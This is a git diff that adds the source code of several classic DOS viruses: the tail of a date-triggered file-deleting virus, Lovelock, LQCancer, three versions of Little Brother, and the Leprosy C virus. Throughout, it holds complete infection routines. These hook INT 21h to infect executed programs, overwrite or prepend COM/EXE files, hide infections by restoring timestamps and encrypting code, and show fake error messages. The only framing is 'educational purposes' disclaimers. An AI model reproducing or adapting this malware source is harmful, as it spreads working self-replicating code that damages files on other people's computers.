cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ; +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; + ; +mov ds,word ptr cs:[2ch] ; +xor bx,bx ; +nuevo: ; +inc bx ;get file name! +mov dl,byte ptr ds:[bx] ; +cmp dl,00 ; +jne nuevo ; +nuevo1: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,00 ; +jne nuevo1 ; +nuevo2: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,01 ; +jne nuevo2 ; +nuevo3: ; +inc bx ; +mov dl,byte ptr ds:[bx] ;get file name! +cmp dl,00 ; +jne nuevo3 ; +cero3: ; +inc bx ; +push bx ; +pop dx ; +push dx ; +push ds ; +push cs ; +pop ds ; +push cs ; +pop es ; +pop ds ; +pop dx ; +MOV AH,41H ;delete name +iNT 21H ;ds:dx=file mame +int 20h ; +NO_DAY: ; +ret ; +;--------------------------------- + +;-------------; +Dir_S: ; +jmp dirsal ; +no_Good:iret ; +;-------------; + +action_dia Db 01H ;day for the action +action_mes Db 01H ;month for the action +FECHA DW 012H ;Secon for mark +FECHAd Db 012H ;Secon for mark dir st +fin: +code ends +end start diff --git a/l/LOVELOCK.ASM b/l/LOVELOCK.ASM new file mode 100755 index 0000000..93830be --- /dev/null +++ b/l/LOVELOCK.ASM @@ -0,0 +1,352 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: LOVELOCK.ASM +; Lovelock by Ender + +checkres1 = 'DA' +checkres2 = 'PS' +id = 'DA' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK filename.OBJ +; EXE2BIN filename.EXE filename.COM + org 0000h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h,0037h ; xor word ptr [bx], xxxx +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + call next +next: + pop bp + sub bp, offset next + + push es + push ds + + mov ax, checkres1 ; Installation check + int 0021h + cmp ax, checkres2 ; Already installed? + jz done_install + + mov ax, ds + dec ax + mov ds, ax + + sub word ptr ds:[0003h], (endheap-start+15)/16+1 + sub word ptr ds:[0012h], (endheap-start+15)/16+1 + mov ax, ds:[0012h] + mov ds, ax + inc ax + mov es, ax + mov byte ptr ds:[0000h], 'Z' + mov word ptr ds:[0001h], 0008h + mov word ptr ds:[0003h], (endheap-start+15)/16 + + push cs + pop ds + xor di, di + mov cx, (heap-start)/2+1 ; Bytes to move + mov si, bp ; lea si,[bp+offset start] + rep movsw + + xor ax, ax + mov ds, ax + push ds + lds ax, ds:[21h*4] ; Get old int handler + mov word ptr es:oldint21, ax + mov word ptr es:oldint21+2, ds + pop ds + mov word ptr ds:[21h*4], offset int21 ; Replace with new handler + mov ds:[21h*4+2], es ; in high memory + +done_install: + pop ds + pop es + cmp sp, id + jne restore_COM +restore_EXE: + mov ax, es + add ax, 0010h + add cs:[bp+word ptr origCSIP+2], ax + add ax, cs:[bp+word ptr origSPSS] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS+2] + sti + db 00EAh +origCSIP db ? +old3 db 0cdh,20h,0 +origSPSS dd ? + +restore_COM: + mov di, 0100h + push di + lea si, [bp+offset old3] + movsb + movsw + ret + +INT24: + mov al, 0003h + iret + +int21: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp ax, 4B00h ; execute? + jz execute +return: + jmp exitint21 +execute: + mov word ptr cs:filename, dx + mov word ptr cs:filename+2, ds + mov ax, 3524h + int 0021h + push es + push bx + + mov ax, 2524h + lea dx, INT24 ; ASSumes ds=cs + int 0021h + + push cs + pop es + + + mov bx, dx + cmp word ptr [bx+4], 'NA' ; Check if COMMAND.COM + jz return ; Exit if so + + lds dx, cs:filename + mov ax, 4300h + int 0021h + jc return + push cx + push ds + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0021h + + lds dx, cs:filename + mov ax, 3D02h + int 0021h + xchg ax, bx + + push cs + pop ds + + mov ax, 5700h ; get file time/date + int 0021h + push cx + push dx + + mov dx, offset readbuffer + mov ah, 003Fh + mov cx, 001Ah + int 0021h + + xor dx, dx + xor cx, cx + mov ax, 4202h + int 0021h + + cmp word ptr [offset readbuffer], 'ZM' + jz checkEXE + + mov cx, word ptr [offset readbuffer+1] ; jmp location + add cx, heap-start+3 ; convert to filesize + cmp ax, cx ; equal if already infected + jz jmp_close + + cmp ax, 65535-(endheap-start) ; check if too large + ja jmp_close ; Exit if so + + cmp ax, (heap-start) ; check if too small + jb jmp_close ; Exit if so + + mov di, offset old3 + mov si, offset readbuffer + movsw + movsb + + mov si, ax ; save entry point + add si, 0100h + mov cx, 0003h + sub ax, cx + mov word ptr [offset readbuffer+1], ax + mov dl, 00E9h + mov byte ptr [offset readbuffer], dl + jmp short continue_infect +checkEXE: + cmp word ptr [offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea si, readbuffer+14h + lea di, origCSIP + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [readbuffer+10h], id ; Initial SP + mov word ptr [readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [readbuffer+14h], dx ; IP Offset + mov word ptr [readbuffer+16h], ax ; Para disp CS in module. + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [readbuffer+2], ax ; the EXE header. + mov word ptr [readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + mov cx, 001Ah + +continue_infect: + push cx ; save # bytes to write + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0021h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[patchstart+1], si + mov word ptr ds:[encryptvalue], dx + + mov cx, (heap-encrypt)/2 + mov di, offset encryptbuffer + mov si, offset ENCRYPT + push si + rep movsw ; copy virus to buffer + + mov ax, offset endencrypt-encrypt+encryptbuffer + mov word ptr ds:[patchstart+1], ax + pop si + push offset endencrypt + mov byte ptr [offset endencrypt], 00C3h ; retn + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [offset endencrypt] + + + mov ah, 0040h + mov cx, heap-encrypt + mov dx, offset encryptbuffer + int 0021h + + xor cx, cx + mov ax, 4200h + xor dx, dx + int 0021h + + + mov dx, offset readbuffer + mov ah, 0040h + pop cx + int 0021h + + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0021h + + mov ah, 003Eh + int 0021h + + pop ax ; restore file attributes + pop dx ; get filename and + pop ds + pop cx ; attributes from stack + int 0021h + + pop dx + pop ds + mov ax, 2524h + int 0021h + +exitint21: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + + db 00EAh ; return to original handler +oldint21 dd ? + +signature db '[PS/G]',0 ; Phalcon/Skism G +creator db 'Ender',0 +virusname db 'Lovelock',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +filename dd ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/l/LPTPORT.ASM b/l/LPTPORT.ASM new file mode 100755 index 0000000..bf77c6b Binary files /dev/null and b/l/LPTPORT.ASM differ diff --git a/l/LQCANCER.ASM b/l/LQCANCER.ASM new file mode 100755 index 0000000..606e662 --- /dev/null +++ b/l/LQCANCER.ASM @@ -0,0 +1,138 @@ + page ,132 + name LiquidCodeCANCER + title LQCancer - a mutation of the V-847 virus + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +olddta equ 80 +virlen equ offset endcode - offset start +smalcod equ offset endcode - offset transf +buffer equ offset endcode + 100 +newdta equ offset endcode + 10 +fname = newdta + 1E +virlenx = offset endcode - offset start + +start: + jmp cancer + +ident db 'LiquidCode' +counter db 0 +allcom db '*.COM',0 +vleng db virlen +n_10D db 3 ;Unused +progbeg dd ? +eof dw ? +handle dw ? + +cancer: + mov ax,cs ;Move program code + add ax,1000 ; 64K bytes forward + mov es,ax + inc [counter] + mov si,offset start + xor di,di + mov cx,virlen + rep movsb + + mov dx,newdta ;Set new Disk Transfer Address + mov ah,1A ;Set DTA + mov ah,ah ;**** + int 21 + mov ah,ah ;**** + mov dx,offset allcom ;Search for '*.COM' files + mov cx,110b ;Normal, Hidden or System + mov ah,4E ;Find First file + int 21 + jc done ;Quit if none found + +mainlp: + mov dx,offset fname + mov ax,3D02 ;Open file in Read/Write mode + int 21 + mov [handle],ax ;Save handle + mov bx,ax + push es + pop ds + mov dx,buffer + mov cx,0FFFF ;Read all bytes + mov ah,3F ;Read from handle + int 21 ;Bytes read in AX + add ax,buffer + mov cs:[eof],ax ;Save pointer to the end of file + + xor cx,cx ;Go to file beginning + mov dx,cx + mov bx,cs:[handle] + mov ax,4200 ;LSEEK from the beginning of the file + int 21 + jc close ;Leave this file if error occures + + mov dx,0 ;Write the whole code (virus+file) + mov cx,cs:[eof] ; back onto the file + mov bx,cs:[handle] + mov ah,40 ;Write to handle + int 21 + +close: + mov bx,cs:[handle] + mov ah,3E ;Close the file + int 21 + + push cs + pop ds ;Restore DS + mov ah,4F ;Find next matching file + mov dx,newdta + int 21 + jc done ;Exit if all found + jmp mainlp ;Otherwise loop again + +done: + mov dx,olddta ;Restore old Disk Transfer Address + mov ah,1A ;Set DTA + int 21 + + mov si,offset transf ;Move this part of code + mov cx,smalcod ;Code length + xor di,di ;Move to ES:0 + rep movsb ;Do it + + xor di,di ;Clear DI + mov word ptr cs:[progbeg],0 + mov word ptr cs:[progbeg+2],es ;Point progbeg at program start + jmp cs:[progbeg] ;Jump at program start + +transf: + push ds + pop es + mov si,buffer+100 + cmp [counter],1 + jne skip + sub si,200 +skip: + mov di,offset start + mov di,di ;**** + mov bx,0ffff ;**** + mov cx,bx ;Restore original program's code + mov ah,ah ;**** + sub cx,si + rep movsb + mov word ptr cs:[start],offset start + mov word ptr cs:[start+2],ds + jmp dword ptr cs:[start] ;Jump to program start +endcode label byte + + int 20 ;Dummy program + int 20 ;??? + + db 0 ;Unused + +code ends + end start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/l/LTBRO299.ASM b/l/LTBRO299.ASM new file mode 100755 index 0000000..802c631 --- /dev/null +++ b/l/LTBRO299.ASM @@ -0,0 +1,247 @@ + +;**************************************************************************** +;* * +;* ASM Source Code For: * +;* Little Brother Virus - Version 1 * +;* * +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 1 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: cld + + mov ax,0DEDEh ;already installed? + int 21h + cmp ah,041h + je cancel + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + movsw + movsw + + push es ;set vector to new handler + pop ds + mov dx,offset ni21 + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DEDEh ;install-check ? + je do_DEDE + + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + +do_DEDE: mov ax,04100h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz do_com + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;create the file (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the file + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;delete the file + mov ah,41h + int 21 + +return1: pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext + +return: ret + +do_com: call findfirst ;is the file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return + mov si,offset COM_txt ;change extension to COM + jmp short change_ext + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,'.' + repnz scasb + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + + + \ No newline at end of file diff --git a/l/LTBRO307.ASM b/l/LTBRO307.ASM new file mode 100755 index 0000000..3853ba8 --- /dev/null +++ b/l/LTBRO307.ASM @@ -0,0 +1,265 @@ +;**************************************************************************** +;* Little Brother version 2 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +RESPAR equ (FILELEN/16d) + 17d +VERSION equ 2 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ;get old DTA + int 21 + push es + push bx + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + push di + mov si,offset COM_txt ;is extension 'COM'? + mov cx,3 + rep cmpsb + pop di + jz do_com + + mov si,offset EXE_txt ;is extension 'EXE'? + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute EXE-file + +return: mov ah,1Ah ;restore old DTA + pop dx + pop ds + int 21 + + ret + +do_com: call findfirst ;is the COM-file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return ;no, execute COM-file + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return ;yes, execute EXE-file + mov si,offset COM_txt ;change extension to COM + call change_ext + jmp short return ;execute COM-file + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/l/LTBRO321.ASM b/l/LTBRO321.ASM new file mode 100755 index 0000000..cc6cdc0 --- /dev/null +++ b/l/LTBRO321.ASM @@ -0,0 +1,256 @@ +;**************************************************************************** +;* Little Brother version 3 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +oi21 equ end +nameptr equ end+4 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + mov sp,300 + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: push cs ;restore segment registers + pop ds + push cs + pop es + + mov bx,30 ;free memory + mov ah,4A + int 21 + + mov es,ds:[002C] ;search filename in environment + mov di,0 + mov ch,0FFh + mov al,01 + repnz scasb + inc di + + mov word ptr [nameptr],di + mov word ptr [nameptr+2],es + + mov si,offset EXE_txt ;change extension to .EXE + call change_ext + + push cs + pop es + mov bx,offset param ;make EXEC param. block + mov [bx+4],cs + mov [bx+8],cs + mov [bx+0C],cs + lds dx,dword ptr [nameptr] + mov ax,4B00 ;execute .EXE program + int 21 + mov ah,4Dh ;ask return code + int 21 + mov ah,4Ch ;exit with same return code + int 21 + + +;**************************************************************************** +;* EXEC parameter block +;**************************************************************************** + +param dw 0, 80, ?, 5C, ?, 6C, ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs + pop ds + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz return + + mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the virus + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;no, delete the virus + mov ah,41h + int 21 + +return1: pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext ;execute .EXE program + +return: ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + diff --git a/l/Leprosy.c b/l/Leprosy.c new file mode 100755 index 0000000..5f59a83 --- /dev/null +++ b/l/Leprosy.c @@ -0,0 +1,217 @@ +/* This file is part of the source code to the LEPROSY Virus 1.00 + Copy-ya-right (c) 1990 by PCM2. This program can cause destruction + of files; you're warned, the author assumes no responsibility + for damage this program causes, incidental or otherwise. This + program is not intended for general distribution -- irresponsible + users should not be allowed access to this program, or its + accompanying files. (Unlike people like us, of course...) +*/ + + +#pragma inline + +#define CRLF "\x17\x14" /* CR/LF combo encrypted. */ +#define NO_MATCH 0x12 /* No match in wildcard search. */ + + +/* The following strings are not garbled; they are all encrypted */ +/* using the simple technique of adding the integer value 10 to */ +/* each character. They are automatically decrypted by */ +/* 'print_s()', the function which sends the strings to 'stdout' */ +/* using DOS service 09H. All are terminated with a dollar-sign */ +/* "$" as per DOS service specifications. */ + +char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83."; +char *virus_msg[3] = + { + CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.", + CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.", + CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14." + }; + + + +struct _dta /* Disk Transfer Area format for find. */ + { + char findnext[21]; + char attribute; + int timestamp; + int datestamp; + long filesize; + char filename[13]; + } *dta = (struct _dta *) 0x80; /* Set it to default DTA. */ + + +const char filler[] = "XX"; /* Pad file length to 666 bytes. */ +const char *codestart = (char *) 0x100; /* Memory where virus code begins. */ +const int virus_size = 666; /* The size in bytes of the virus code. */ +const int infection_rate = 4; /* How many files to infect per run. */ + +char compare_buf[20]; /* Load program here to test infection. */ +int handle; /* The current file handle being used. */ +int datestamp, timestamp; /* Store original date and time here. */ +char diseased_count = 0; /* How many infected files found so far. */ +char success = 0; /* How many infected this run. */ + + +/* The following are function prototypes, in keeping with ANSI */ +/* Standard C, for the support functions of this program. */ + +int find_first( char *fn ); +int find_healthy( void ); +int find_next( void ); +int healthy( void ); +void infect( void ); +void close_handle( void ); +void open_handle( char *fn ); +void print_s( char *s ); +void restore_timestamp( void ); + + + +/*----------------------------------*/ +/* M A I N P R O G R A M */ +/*----------------------------------*/ + +int main( void ) { + int x = 0; + do { + if ( find_healthy() ) { /* Is there an un-infected file? */ + infect(); /* Well, then infect it! */ + x++; /* Add one to the counter. */ + success++; /* Carve a notch in our belt. */ + } + else { /* If there ain't a file here... */ + _DX = (int) ".."; /* See if we can step back to */ + _AH = 0x3b; /* the parent directory, and try */ + asm int 21H; /* there. */ + x++; /* Increment the counter anyway, to */ + } /* avoid infinite loops. */ + } while( x < infection_rate ); /* Do this until we've had enough. */ + if ( success ) /* If we got something this time, */ + print_s( fake_msg ); /* feed 'em the phony error line. */ + else + if ( diseased_count > 6 ) /* If we found 6+ infected files */ + for( x = 0; x < 3; x++ ) /* along the way, laugh!! */ + print_s( virus_msg[x] ); + else + print_s( fake_msg ); /* Otherwise, keep a low profile. */ + return; +} + + +void infect( void ) { + _DX = (int) dta->filename; /* DX register points to filename. */ + _CX = 0x00; /* No attribute flags are set. */ + _AL = 0x01; /* Use Set Attribute sub-function. */ + _AH = 0x43; /* Assure access to write file. */ + asm int 21H; /* Call DOS interrupt. */ + open_handle( dta->filename ); /* Re-open the healthy file. */ + _BX = handle; /* BX register holds handle. */ + _CX = virus_size; /* Number of bytes to write. */ + _DX = (int) codestart; /* Write program code. */ + _AH = 0x40; /* Set up and call DOS. */ + asm int 21H; + restore_timestamp(); /* Keep original date & time. */ + close_handle(); /* Close file. */ + return; +} + + +int find_healthy( void ) { + if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */ + if ( healthy() ) /* If it's healthy, OK! */ + return 1; + else + while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */ + if ( healthy() ) + return 1; /* If you find one, great! */ + if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */ + if ( healthy() ) /* If it's healthy, OK! */ + return 1; + else + while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */ + if ( healthy() ) + return 1; /* If you find one, great! */ + return 0; /* Otherwise, say so. */ +} + + + +int healthy( void ) { + int i; + datestamp = dta->datestamp; /* Save time & date for later. */ + timestamp = dta->timestamp; + open_handle( dta->filename ); /* Open last file located. */ + _BX = handle; /* BX holds current file handle. */ + _CX = 20; /* We only want a few bytes. */ + _DX = (int) compare_buf; /* DX points to the scratch buffer. */ + _AH = 0x3f; /* Read in file for comparison. */ + asm int 21H; + restore_timestamp(); /* Keep original date & time. */ + close_handle(); /* Close the file. */ + for ( i = 0; i < 20; i++ ) /* Compare to virus code. */ + if ( compare_buf[i] != *(codestart+i) ) + return 1; /* If no match, return healthy. */ + diseased_count++; /* Chalk up one more fucked file. */ + return 0; /* Otherwise, return infected. */ +} + + +void restore_timestamp( void ) { + _AL = 0x01; /* Keep original date & time. */ + _BX = handle; /* Same file handle. */ + _CX = timestamp; /* Get time & date from DTA. */ + _DX = datestamp; + _AH = 0x57; /* Do DOS service. */ + asm int 21H; + return; +} + + +void print_s( char *s ) { + char *p = s; + while ( *p ) { /* Subtract 10 from every character. */ + *p -= 10; + p++; + } + _DX = (int) s; /* Set DX to point to adjusted string. */ + _AH = 0x09; /* Set DOS function number. */ + asm int 21H; /* Call DOS interrupt. */ + return; 